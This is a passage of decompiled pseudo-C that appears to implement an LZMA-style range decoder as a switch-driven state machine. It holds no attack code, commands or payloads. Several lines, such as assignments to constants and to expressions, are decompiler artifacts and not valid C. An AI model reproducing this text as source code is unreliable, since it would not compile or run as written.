          												goto L171;
          											} else {
          												goto L20;
          											}
          										case 2:
          											L24:
          											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
          											 *(_t612 - 0x84) = 6;
          											 *(_t612 - 0x4c) = _t553;
          											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
          											goto L132;
          										case 3:
          											L21:
          											__eflags =  *(_t612 - 0x6c);
          											if( *(_t612 - 0x6c) == 0) {
          												 *(_t612 - 0x88) = 3;
          												goto L170;
          											}
          											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
          											_t67 = _t612 - 0x70;
          											 *_t67 =  &(( *(_t612 - 0x70))[1]);
          											__eflags =  *_t67;
          											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
          											L23:
          											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
          											if( *(_t612 - 0x48) != 0) {
          												goto L21;
          											}
          											goto L24;
          										case 4:
          											L133:
          											_t531 =  *_t605;
          											_t588 = _t531 & 0x0000ffff;
          											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
          											if( *(_t612 - 0xc) >= _t564) {
          												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
          												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
          												 *(_t612 - 0x40) = 1;
          												_t532 = _t531 - (_t531 >> 5);
          												__eflags = _t532;
          												 *_t605 = _t532;
          											} else {
          												 *(_t612 - 0x10) = _t564;
          												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
          												 *_t605 = (0x800 - _t588 >> 5) + _t531;
          											}
          											if( *(_t612 - 0x10) >= 0x1000000) {
          												goto L139;
          											} else {
          												goto L137;
          											}
          										case 5:
          											L137:
          											if( *(_t612 - 0x6c) == 0) {
          												 *(_t612 - 0x88) = 5;
          												goto L170;
          											}
          											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
          											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
          											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
          											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
          											L139:
          											_t533 =  *(_t612 - 0x84);
          											goto L140;
          										case 6:
          											__edx = 0;
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x34) = 1;
          												 *(__ebp - 0x84) = 7;
          												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
          												goto L132;
          											}
          											__eax =  *(__ebp - 0x5c) & 0x000000ff;
          											__esi =  *(__ebp - 0x60);
          											__cl = 8;
          											__cl = 8 -  *(__ebp - 0x3c);
          											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
          											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
          											__ecx =  *(__ebp - 0x3c);
          											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
          											__ecx =  *(__ebp - 4);
          											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
          											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
          											__eflags =  *(__ebp - 0x38) - 4;
          											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          											if( *(__ebp - 0x38) >= 4) {
          												__eflags =  *(__ebp - 0x38) - 0xa;
          												if( *(__ebp - 0x38) >= 0xa) {
          													_t98 = __ebp - 0x38;
          													 *_t98 =  *(__ebp - 0x38) - 6;
          													__eflags =  *_t98;
          												} else {
          													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
          												}
          											} else {
          												 *(__ebp - 0x38) = 0;
          											}
          											__eflags =  *(__ebp - 0x34) - __edx;
          											if( *(__ebp - 0x34) == __edx) {
          												__ebx = 0;
          												__ebx = 1;
          												goto L61;
          											} else {
          												__eax =  *(__ebp - 0x14);
          												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          												__eflags = __eax -  *(__ebp - 0x74);
          												if(__eax >=  *(__ebp - 0x74)) {
          													__eax = __eax +  *(__ebp - 0x74);
          													__eflags = __eax;
          												}
          												__ecx =  *(__ebp - 8);
          												__ebx = 0;
          												__ebx = 1;
          												__al =  *((intOrPtr*)(__eax + __ecx));
          												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
          												goto L41;
          											}
          										case 7:
          											__eflags =  *(__ebp - 0x40) - 1;
          											if( *(__ebp - 0x40) != 1) {
          												__eax =  *(__ebp - 0x24);
          												 *(__ebp - 0x80) = 0x16;
          												 *(__ebp - 0x20) =  *(__ebp - 0x24);
          												__eax =  *(__ebp - 0x28);
          												 *(__ebp - 0x24) =  *(__ebp - 0x28);
          												__eax =  *(__ebp - 0x2c);
          												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          												__eax = 0;
          												__eflags =  *(__ebp - 0x38) - 7;
          												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          												__al = __al & 0x000000fd;
          												__eax = (__eflags >= 0) - 1 + 0xa;
          												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
          												__eax =  *(__ebp - 4);
          												__eax =  *(__ebp - 4) + 0x664;
          												__eflags = __eax;
          												 *(__ebp - 0x58) = __eax;
          												goto L69;
          											}
          											__eax =  *(__ebp - 4);
          											__ecx =  *(__ebp - 0x38);
          											 *(__ebp - 0x84) = 8;
          											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
          											goto L132;
          										case 8:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x84) = 0xa;
          												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
          											} else {
          												__eax =  *(__ebp - 0x38);
          												__ecx =  *(__ebp - 4);
          												__eax =  *(__ebp - 0x38) + 0xf;
          												 *(__ebp - 0x84) = 9;
          												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
          												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
          											}
          											goto L132;
          										case 9:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												goto L90;
          											}
          											__eflags =  *(__ebp - 0x60);
          											if( *(__ebp - 0x60) == 0) {
          												goto L171;
          											}
          											__eax = 0;
          											__eflags =  *(__ebp - 0x38) - 7;
          											_t259 =  *(__ebp - 0x38) - 7 >= 0;
          											__eflags = _t259;
          											0 | _t259 = _t259 + _t259 + 9;
          											 *(__ebp - 0x38) = _t259 + _t259 + 9;
          											goto L76;
          										case 0xa:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x84) = 0xb;
          												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
          												goto L132;
          											}
          											__eax =  *(__ebp - 0x28);
          											goto L89;
          										case 0xb:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__ecx =  *(__ebp - 0x24);
          												__eax =  *(__ebp - 0x20);
          												 *(__ebp - 0x20) =  *(__ebp - 0x24);
          											} else {
          												__eax =  *(__ebp - 0x24);
          											}
          											__ecx =  *(__ebp - 0x28);
          											 *(__ebp - 0x24) =  *(__ebp - 0x28);
          											L89:
          											__ecx =  *(__ebp - 0x2c);
          											 *(__ebp - 0x2c) = __eax;
          											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          											L90:
          											__eax =  *(__ebp - 4);
          											 *(__ebp - 0x80) = 0x15;
          											__eax =  *(__ebp - 4) + 0xa68;
          											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
          											goto L69;
          										case 0xc:
          											L100:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xc;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t335 = __ebp - 0x70;
          											 *_t335 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t335;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											__eax =  *(__ebp - 0x2c);
          											goto L102;
          										case 0xd:
          											L37:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xd;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t122 = __ebp - 0x70;
          											 *_t122 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t122;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											L39:
          											__eax =  *(__ebp - 0x40);
          											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
          												goto L48;
          											}
          											__eflags = __ebx - 0x100;
          											if(__ebx >= 0x100) {
          												goto L54;
          											}
          											L41:
          											__eax =  *(__ebp - 0x5b) & 0x000000ff;
          											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
          											__ecx =  *(__ebp - 0x58);
          											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
          											 *(__ebp - 0x48) = __eax;
          											__eax = __eax + 1;
          											__eax = __eax << 8;
          											__eax = __eax + __ebx;
          											__esi =  *(__ebp - 0x58) + __eax * 2;
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          											__ax =  *__esi;
          											 *(__ebp - 0x54) = __esi;
          											__edx = __ax & 0x0000ffff;
          											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
          											__eflags =  *(__ebp - 0xc) - __ecx;
          											if( *(__ebp - 0xc) >= __ecx) {
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          												__cx = __ax;
          												 *(__ebp - 0x40) = 1;
          												__cx = __ax >> 5;
          												__eflags = __eax;
          												__ebx = __ebx + __ebx + 1;
          												 *__esi = __ax;
          											} else {
          												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
          												 *(__ebp - 0x10) = __ecx;
          												0x800 = 0x800 - __edx;
          												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
          												__ebx = __ebx + __ebx;
          												 *__esi = __cx;
          											}
          											__eflags =  *(__ebp - 0x10) - 0x1000000;
          											 *(__ebp - 0x44) = __ebx;
          											if( *(__ebp - 0x10) >= 0x1000000) {
          												goto L39;
          											} else {
          												goto L37;
          											}
          										case 0xe:
          											L46:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xe;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t156 = __ebp - 0x70;
          											 *_t156 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t156;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											while(1) {
          												L48:
          												__eflags = __ebx - 0x100;
          												if(__ebx >= 0x100) {
          													break;
          												}
          												__eax =  *(__ebp - 0x58);
          												__edx = __ebx + __ebx;
          												__ecx =  *(__ebp - 0x10);
          												__esi = __edx + __eax;
          												__ecx =  *(__ebp - 0x10) >> 0xb;
          												__ax =  *__esi;
          												 *(__ebp - 0x54) = __esi;
          												__edi = __ax & 0x0000ffff;
          												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          												__eflags =  *(__ebp - 0xc) - __ecx;
          												if( *(__ebp - 0xc) >= __ecx) {
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          													__cx = __ax;
          													_t170 = __edx + 1; // 0x1
          													__ebx = _t170;
          													__cx = __ax >> 5;
          													__eflags = __eax;
          													 *__esi = __ax;
          												} else {
          													 *(__ebp - 0x10) = __ecx;
          													0x800 = 0x800 - __edi;
          													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          													__ebx = __ebx + __ebx;
          													 *__esi = __cx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													continue;
          												} else {
          													goto L46;
          												}
          											}
          											L54:
          											_t173 = __ebp - 0x34;
          											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
          											__eflags =  *_t173;
          											goto L55;
          										case 0xf:
          											L58:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xf;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t203 = __ebp - 0x70;
          											 *_t203 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t203;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											L60:
          											__eflags = __ebx - 0x100;
          											if(__ebx >= 0x100) {
          												L55:
          												__al =  *(__ebp - 0x44);
          												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
          												goto L56;
          											}
          											L61:
          											__eax =  *(__ebp - 0x58);
          											__edx = __ebx + __ebx;
          											__ecx =  *(__ebp - 0x10);
          											__esi = __edx + __eax;
          											__ecx =  *(__ebp - 0x10) >> 0xb;
          											__ax =  *__esi;
          											 *(__ebp - 0x54) = __esi;
          											__edi = __ax & 0x0000ffff;
          											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          											__eflags =  *(__ebp - 0xc) - __ecx;
          											if( *(__ebp - 0xc) >= __ecx) {
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          												__cx = __ax;
          												_t217 = __edx + 1; // 0x1
          												__ebx = _t217;
          												__cx = __ax >> 5;
          												__eflags = __eax;
          												 *__esi = __ax;
          											} else {
          												 *(__ebp - 0x10) = __ecx;
          												0x800 = 0x800 - __edi;
          												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          												__ebx = __ebx + __ebx;
          												 *__esi = __cx;
          											}
          											__eflags =  *(__ebp - 0x10) - 0x1000000;
          											 *(__ebp - 0x44) = __ebx;
          											if( *(__ebp - 0x10) >= 0x1000000) {
          												goto L60;
          											} else {
          												goto L58;
          											}
          										case 0x10:
          											L110:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0x10;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t366 = __ebp - 0x70;
          											 *_t366 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t366;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											goto L112;
          										case 0x11:
          											L69:
          											__esi =  *(__ebp - 0x58);
          											 *(__ebp - 0x84) = 0x12;
          											L132:
          											 *(_t612 - 0x54) = _t605;
          											goto L133;
          										case 0x12:
          											goto L0;
          										case 0x13:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												_t469 = __ebp - 0x58;
          												 *_t469 =  *(__ebp - 0x58) + 0x204;
          												__eflags =  *_t469;
          												 *(__ebp - 0x30) = 0x10;
          												 *(__ebp - 0x40) = 8;
          												goto L144;
          											}
          											__eax =  *(__ebp - 0x4c);
          											__ecx =  *(__ebp - 0x58);
          											__eax =  *(__ebp - 0x4c) << 4;
          											 *(__ebp - 0x30) = 8;
          											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
          											goto L130;
          										case 0x14:
          											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
          											__eax =  *(__ebp - 0x80);
          											L140:
          											 *(_t612 - 0x88) = _t533;
          											goto L1;
          										case 0x15:
          											__eax = 0;
          											__eflags =  *(__ebp - 0x38) - 7;
          											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          											__al = __al & 0x000000fd;
          											__eax = (__eflags >= 0) - 1 + 0xb;
          											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
          											goto L121;
          										case 0x16:
          											__eax =  *(__ebp - 0x30);
          											__eflags = __eax - 4;
          											if(__eax >= 4) {
          												_push(3);
          												_pop(__eax);
          											}
          											__ecx =  *(__ebp - 4);
          											 *(__ebp - 0x40) = 6;
          											__eax = __eax << 7;
          											 *(__ebp - 0x7c) = 0x19;
          											 *(__ebp - 0x58) = __eax;
          											goto L145;
          										case 0x17:
          											goto L145;
          										case 0x18:
          											L146:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0x18;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t484 = __ebp - 0x70;
          											 *_t484 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t484;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											L148:
          											_t487 = __ebp - 0x48;
          											 *_t487 =  *(__ebp - 0x48) - 1;
          											__eflags =  *_t487;
          											goto L149;
          										case 0x19:
          											__eflags = __ebx - 4;
          											if(__ebx < 4) {
          												 *(__ebp - 0x2c) = __ebx;
          												L120:
          												_t394 = __ebp - 0x2c;
          												 *_t394 =  *(__ebp - 0x2c) + 1;
          												__eflags =  *_t394;
          												L121:
          												__eax =  *(__ebp - 0x2c);
          												__eflags = __eax;
          												if(__eax == 0) {
          													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
          													goto L170;
          												}
          												__eflags = __eax -  *(__ebp - 0x60);
          												if(__eax >  *(__ebp - 0x60)) {
          													goto L171;
          												}
          												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
          												__eax =  *(__ebp - 0x30);
          												_t401 = __ebp - 0x60;
          												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
          												__eflags =  *_t401;
          												goto L124;
          											}
          											__ecx = __ebx;
          											__eax = __ebx;
          											__ecx = __ebx >> 1;
          											__eax = __ebx & 0x00000001;
          											__ecx = (__ebx >> 1) - 1;
          											__al = __al | 0x00000002;
          											__eax = (__ebx & 0x00000001) << __cl;
          											__eflags = __ebx - 0xe;
          											 *(__ebp - 0x2c) = __eax;
          											if(__ebx >= 0xe) {
          												__ebx = 0;
          												 *(__ebp - 0x48) = __ecx;
          												L103:
          												__eflags =  *(__ebp - 0x48);
          												if( *(__ebp - 0x48) <= 0) {
          													__eax = __eax + __ebx;
          													 *(__ebp - 0x40) = 4;
          													 *(__ebp - 0x2c) = __eax;
          													__eax =  *(__ebp - 4);
          													__eax =  *(__ebp - 4) + 0x644;
          													__eflags = __eax;
          													L109:
          													__ebx = 0;
          													 *(__ebp - 0x58) = __eax;
          													 *(__ebp - 0x50) = 1;
          													 *(__ebp - 0x44) = 0;
          													 *(__ebp - 0x48) = 0;
          													L113:
          													__eax =  *(__ebp - 0x40);
          													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
          														_t392 = __ebp - 0x2c;
          														 *_t392 =  *(__ebp - 0x2c) + __ebx;
          														__eflags =  *_t392;
          														goto L120;
          													}
          													__eax =  *(__ebp - 0x50);
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          													__eax =  *(__ebp - 0x58);
          													__esi = __edi + __eax;
          													 *(__ebp - 0x54) = __esi;
          													__ax =  *__esi;
          													__ecx = __ax & 0x0000ffff;
          													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
          													__eflags =  *(__ebp - 0xc) - __edx;
          													if( *(__ebp - 0xc) >= __edx) {
          														__ecx = 0;
          														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
          														__ecx = 1;
          														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
          														__ebx = 1;
          														__ecx =  *(__ebp - 0x48);
          														__ebx = 1 << __cl;
          														__ecx = 1 << __cl;
          														__ebx =  *(__ebp - 0x44);
          														__ebx =  *(__ebp - 0x44) | __ecx;
          														__cx = __ax;
          														__cx = __ax >> 5;
          														__eax = __eax - __ecx;
          														__edi = __edi + 1;
          														__eflags = __edi;
          														 *(__ebp - 0x44) = __ebx;
          														 *__esi = __ax;
          														 *(__ebp - 0x50) = __edi;
          													} else {
          														 *(__ebp - 0x10) = __edx;
          														0x800 = 0x800 - __ecx;
          														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
          														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          														 *__esi = __dx;
          													}
          													__eflags =  *(__ebp - 0x10) - 0x1000000;
          													if( *(__ebp - 0x10) >= 0x1000000) {
          														L112:
          														_t369 = __ebp - 0x48;
          														 *_t369 =  *(__ebp - 0x48) + 1;
          														__eflags =  *_t369;
          														goto L113;
          													} else {
          														goto L110;
          													}
          												}
          												__ecx =  *(__ebp - 0xc);
          												__ebx = __ebx + __ebx;
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
          												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
          													__ecx =  *(__ebp - 0x10);
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          													__ebx = __ebx | 0x00000001;
          													__eflags = __ebx;
          													 *(__ebp - 0x44) = __ebx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													L102:
          													_t339 = __ebp - 0x48;
          													 *_t339 =  *(__ebp - 0x48) - 1;
          													__eflags =  *_t339;
          													goto L103;
          												} else {
          													goto L100;
          												}
          											}
          											__edx =  *(__ebp - 4);
          											__eax = __eax - __ebx;
          											 *(__ebp - 0x40) = __ecx;
          											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
          											goto L109;
          										case 0x1a:
          											L56:
          											__eflags =  *(__ebp - 0x64);
          											if( *(__ebp - 0x64) == 0) {
          												 *(__ebp - 0x88) = 0x1a;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x68);
          											__al =  *(__ebp - 0x5c);
          											__edx =  *(__ebp - 8);
          											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          											 *( *(__ebp - 0x68)) = __al;
          											__ecx =  *(__ebp - 0x14);
          											 *(__ecx +  *(__ebp - 8)) = __al;
          											__eax = __ecx + 1;
          											__edx = 0;
          											_t192 = __eax %  *(__ebp - 0x74);
          											__eax = __eax /  *(__ebp - 0x74);
          											__edx = _t192;
          											goto L80;
          										case 0x1b:
          											L76:
          											__eflags =  *(__ebp - 0x64);
          											if( *(__ebp - 0x64) == 0) {
          												 *(__ebp - 0x88) = 0x1b;
          												goto L170;
          											}
          											__eax =  *(__ebp - 0x14);
          											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          											__eflags = __eax -  *(__ebp - 0x74);
          											if(__eax >=  *(__ebp - 0x74)) {
          												__eax = __eax +  *(__ebp - 0x74);
          												__eflags = __eax;
          											}
          											__edx =  *(__ebp - 8);
          											__cl =  *(__eax + __edx);
          											__eax =  *(__ebp - 0x14);
          											 *(__ebp - 0x5c) = __cl;
          											 *(__eax + __edx) = __cl;
          											__eax = __eax + 1;
          											__edx = 0;
          											_t275 = __eax %  *(__ebp - 0x74);
          											__eax = __eax /  *(__ebp - 0x74);
          											__edx = _t275;
          											__eax =  *(__ebp - 0x68);
          											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          											_t284 = __ebp - 0x64;
          											 *_t284 =  *(__ebp - 0x64) - 1;
          											__eflags =  *_t284;
          											 *( *(__ebp - 0x68)) = __cl;
          											L80:
          											 *(__ebp - 0x14) = __edx;
          											goto L81;
          										case 0x1c:
          											while(1) {
          												L124:
          												__eflags =  *(__ebp - 0x64);
          												if( *(__ebp - 0x64) == 0) {
          													break;
          												}
          												__eax =  *(__ebp - 0x14);
          												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          												__eflags = __eax -  *(__ebp - 0x74);
          												if(__eax >=  *(__ebp - 0x74)) {
          													__eax = __eax +  *(__ebp - 0x74);
          													__eflags = __eax;
          												}
          												__edx =  *(__ebp - 8);
          												__cl =  *(__eax + __edx);
          												__eax =  *(__ebp - 0x14);
          												 *(__ebp - 0x5c) = __cl;
          												 *(__eax + __edx) = __cl;
          												__eax = __eax + 1;
          												__edx = 0;
          												_t415 = __eax %  *(__ebp - 0x74);
          												__eax = __eax /  *(__ebp - 0x74);
          												__edx = _t415;
          												__eax =  *(__ebp - 0x68);
          												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
          												__eflags =  *(__ebp - 0x30);
          												 *( *(__ebp - 0x68)) = __cl;
          												 *(__ebp - 0x14) = _t415;
          												if( *(__ebp - 0x30) > 0) {
          													continue;
          												} else {
          													L81:
          													 *(__ebp - 0x88) = 2;
          													goto L1;
          												}
          											}
          											 *(__ebp - 0x88) = 0x1c;
          											L170:
          											_push(0x22);
          											_pop(_t567);
